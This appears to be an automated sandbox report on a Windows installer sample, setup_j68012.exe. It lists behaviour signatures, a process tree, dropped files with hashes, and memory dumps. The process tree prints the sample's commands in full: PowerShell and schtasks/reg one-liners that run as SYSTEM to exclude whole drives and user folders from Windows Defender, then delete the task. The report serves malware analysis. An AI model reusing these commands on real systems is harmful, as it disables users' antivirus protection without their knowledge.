Analysis

  • max time kernel
    144s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/08/2026, 04:06

General

  • Target
    setup_j68012.exe
  • Size 53.8MB
  • Sample260807-ephmesfp4v
  • SHA256 525a1de5e1f1fb1274ba53a237630dd5c33a6792170423ab13cf7278268411cd
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_j68012.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_j68012.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:2700
  • C:\Users\Public\ZHMnIy\cvhrXd.exe
    "C:\Users\Public\ZHMnIy\cvhrXd.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3232
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4744
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\ZHMnIy\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:2000
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\ZHMnIy\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5004
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4480
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5424
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4148
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1212
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:3716
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:5028
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              PID:4456
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3852
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3876
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:5056
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:3224
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4876
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:2240
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:6136
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      PID:3416
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1252
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:6132
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:1104
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\ZHMnIy" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:3300
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\ZHMnIy" /t REG_DWORD /d 0 /f
                          2⤵
                            PID:2588
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:3108
                          • C:\Users\Public\ZHMnIy\cvhrXd.exe
                            "C:\Users\Public\ZHMnIy\cvhrXd.exe"
                            1⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:3664
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:1976
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                                PID:4288
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:4988
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:4332
                              • C:\Windows\system32\cmd.exe
                                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                1⤵
                                • Executes a command shell one-liner
                                PID:2204
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:4776

                                Network

                                      MITRE ATT&CK Enterprise v16

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                                      Downloads

                                      UxEnhance64.dll

                                      • Path C:\Users\Public\ZHMnIy\UxEnhance64.dll
                                      • Size 3.1MB
                                      • SHA256 891bef01192dc9442be0bf2325a4f595d19e01dd131983aaf8e897701cfa63f4
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      adoresd.dat

                                      • Path C:\Users\Public\ZHMnIy\adoresd.dat
                                      • Size 4.7MB
                                      • SHA256 498bb2138d5aec4ed5a34ea507c96f6a1e07a2b00bdc1793d490900abe7cfaf2
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      cvhrXd.exe

                                      • Path C:\Users\Public\ZHMnIy\cvhrXd.exe
                                      • Size 135KB
                                      • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      msadox.tb

                                      • Path C:\Users\Public\ZHMnIy\msadox.tb
                                      • Size 8KB
                                      • SHA256 12aefa4361d2e21394d0cea77e96e05a77aefc5b62e363d347eea6d4adf0bd62
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      memory/2700-1-0x00000000055B0000-0x00000000055BB000-memory.dmp

                                      memory/2700-503-0x00007FFD07590000-0x00007FFD075A2000-memory.dmp

                                      memory/2700-523-0x0000000000570000-0x000000000057D000-memory.dmp

                                      memory/2700-524-0x00007FFD07590000-0x00007FFD075A2000-memory.dmp

                                      memory/2700-0-0x0000000000570000-0x000000000057D000-memory.dmp

                                      memory/3232-560-0x000001C45E400000-0x000001C45E48A000-memory.dmp

                                      memory/3232-562-0x000001C45DAD0000-0x000001C45E361000-memory.dmp

                                      memory/3232-536-0x000001C45DAD0000-0x000001C45E361000-memory.dmp

                                      memory/3232-537-0x00007FFD0FE80000-0x00007FFD0FE82000-memory.dmp

                                      memory/3232-538-0x000001C45DAD0000-0x000001C45E361000-memory.dmp

                                      memory/3232-542-0x000001C45DAD0000-0x000001C45E361000-memory.dmp

                                      memory/3232-543-0x000001C45DAD0000-0x000001C45E361000-memory.dmp

                                      memory/3232-544-0x000001C45DAD0000-0x000001C45E361000-memory.dmp

                                      memory/3232-545-0x000001C45DAD0000-0x000001C45E361000-memory.dmp

                                      memory/3232-549-0x000001C45DAD0000-0x000001C45E361000-memory.dmp

                                      memory/3232-555-0x000001C45D090000-0x000001C45D0DE000-memory.dmp

                                      memory/3232-529-0x00007FFD0FE70000-0x00007FFD0FE72000-memory.dmp

                                      memory/3232-559-0x000001C45E400000-0x000001C45E48A000-memory.dmp

                                      memory/3232-558-0x000001C45E400000-0x000001C45E48A000-memory.dmp

                                      memory/3232-557-0x000001C45E400000-0x000001C45E48A000-memory.dmp

                                      memory/3232-530-0x00007FFCED220000-0x00007FFCED73E000-memory.dmp

                                      memory/3232-564-0x000001C45DAD0000-0x000001C45E361000-memory.dmp

                                      memory/3232-565-0x000001C45DAD0000-0x000001C45E361000-memory.dmp

                                      memory/3664-585-0x0000028038980000-0x0000028039211000-memory.dmp

                                      memory/3664-575-0x0000028038980000-0x0000028039211000-memory.dmp

                                      memory/3664-577-0x00007FFD0FE80000-0x00007FFD0FE82000-memory.dmp

                                      memory/3664-578-0x0000028038980000-0x0000028039211000-memory.dmp

                                      memory/3664-582-0x0000028038980000-0x0000028039211000-memory.dmp

                                      memory/3664-584-0x0000028038980000-0x0000028039211000-memory.dmp

                                      memory/3664-573-0x00007FFCED220000-0x00007FFCED73E000-memory.dmp

                                      memory/3664-586-0x00007FFD0FE70000-0x00007FFD0FE72000-memory.dmp

                                      memory/3664-583-0x0000028038980000-0x0000028039211000-memory.dmp

                                      memory/4744-599-0x000001C1FE870000-0x000001C1FE892000-memory.dmp

                                      memory/4744-604-0x000001C1FE8C0000-0x000001C1FE8DE000-memory.dmp

                                      memory/4744-605-0x000001C1FEB10000-0x000001C1FEBC2000-memory.dmp

                                      memory/4744-606-0x000001C1FE8E0000-0x000001C1FE8EA000-memory.dmp